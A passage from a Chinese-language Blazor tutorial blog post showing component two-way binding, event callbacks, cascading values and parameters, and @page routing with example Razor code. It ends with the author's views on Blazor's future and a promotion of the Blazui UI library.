<h3>在{@Baby_new_Address} 生的</h3>
@code {
    [Parameter]
    public string Baby_IdentityCrad_Id{ get; set; }

    /// <summary>
    /// 這個屬性也是牛的雅皮~~~ hhh
    /// </summary>
    [Parameter]
    public string Baby_new_Address{ get; set; }
    
    [Parameter]
    public EventCallback<string> Baby_IdentityCrad_IdChanged { get; set; }

    [Parameter]
    public EventCallback<string> Baby_new_AddressChanged { get; set; }
}

   有什麼樣的兒子就會有什麼樣的爸爸? 現在我們創建出父親,那就直接叫做一個Father.razor吧~

@page "/father"
<h3>Father</h3>

<Baby @bind-Baby_IdentityCrad_Id="@id_Card"
      @bind-Baby_new_Address="@address">
</Baby>
<button class="btn btn-primary" @onclick="@ChangeTheYear">new baby()</button>
@code {
    public string id_Card { get; set; }
    public string address { get; set; }
    private void ChangeTheYear()
    {
        id_Card = Guid.NewGuid().ToString();
        address = "老張";
    }
}

運行效果如下:

 

 如果要在子組件中定義事件,則可以MouseEventArgs來接受設備上的事件,然後再進行附加事件。

[Parameter]
public EventCallback<MouseEventArgs> OnClick { get; set; }

四.級聯傳值

   在某些情況下, 使用組件參數將數據從祖先組件流式傳輸到附屬組件是不方便的, 尤其是在有多個組件層時。 級聯值和參數通過提供一種方便的方法, 使上級組件為其所有子代組件提供值。 級聯值和參數還提供了一種方法來協調組件。我們試着去構建一個例子,首先創建一個最頂層的組件。

@page "/myDome"
<p><span>姓名:</span><input @bind="@pName" /></p>
<p><span>年齡:</span><input @bind-value="@pAge" @bind-value:event="oninput"/></p>
<CascadingValue Value="@pName" Name="ProfileName">
    <CascadingValue Value="@pAge" Name="ProfileAge">
        <ParentComponent />
    </CascadingValue>
</CascadingValue>
@code {
    private string pName { get; set; } = "張三";
    private int pAge { get; set; } = 35;
}

ParentComponent.razor:

<div style="background-color:darkgray;width:200px;">
    <p>Parent Component</p>
    <div style="padding:10px;">
        <p> 年齡 :@Age</p>
        <ChildComponent />
    </div>
</div>
@code{
    [CascadingParameter(Name = "ProfileAge")]
    int Age { get; set; }
}

ChildComponent.razor:

<div style="background-color:beige;width:200px;">
    <p>Child Component</p>
    <p>名稱 : @Name.ToString()</p>
</div>

@code{
    [CascadingParameter(Name = "ProfileName")]
    string Name { get; set; }
}

 運行效果如下:

 

 可以發現,一級直接將二級和三級的組件進行了數據穿透,不過需要注意的是CascadingValue的Name一定要和CascadingParameter的Name相同,否則將會執行錯誤。

五.路由

   從古至今,任何大型的開發框架,都是具有路由的,否則可能將會無法工作,其實Blazor的啟動頁也就使用了路由,這是毋庸置疑的。當你的組件帶有 @page 指令時,將為生成的類指定  指定路由模板的。 在運行時,路由器將使用 RouteAttribute 查找組件類,並呈現哪個組件包含與請求的 URL 匹配的路由模板。

@page "/luyou"
@page "/luyou/{text}"

<h1>Blazor is @Text!</h1>

@code {
    [Parameter]
    public string Text { get; set; }

    protected override void OnInitialized()
    {
        Text = Text ?? "fantastic";
    }
}

運行效果如下:

在上面的示例中應用了兩個 @page 指令。 第一個允許導航到沒有參數的組件。 第二個 @page 指令採用 {text} 路由參數,並將該值分配給 Text 屬性。

關於Blazor的基礎入門咱們這篇就說到這裏,相信你一定覺得Blazor了不起!它是一個現代的開源框架。它也由一家擁有悠久歷史的公司擁有,該公司放棄了昨天的閃亮新技術。因此,大多數開發人員都應該謹慎對待Blazor。只要JavaScript能夠執行Blazor可以做的所有事情,而沒有下載大小,性能和新工具堆棧帶來的額外挑戰,大多數開發人員將一如既往。

這並不意味着Blazor不能在所有這些領域都佔有一席之地。它甚至可能成為.NET Web應用程序開發中的主導力量。但是如果我今天必須下注,這就是我要依靠的東西。WebAssembly是未來。但就目前而言,Blazor只是一種有趣的可能性。

六.彩蛋

就現在!我的好朋友宇辰正在開發一款名為Blazui的UI組件。它為什麼叫Blazui?

Blazor + Element UI = Blazui,Element UI 的blazor版本,無JS,無TS,用 .Net 寫前端的 UI 框架,非 Silverlight,非 WebForm,開箱即用!!

Blazui 演示地址:。QQ群:74522853,碼雲地址:

參考Blazor使用的前提條件:

  1. 安裝 .Net Core 3.0
  2. 安裝 VS2019
  3. 安裝所有 VS2019 Blazor Extension

現在Blazor正在逐漸變好,讓我們即刻出發!.NET Core 不只是開源!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象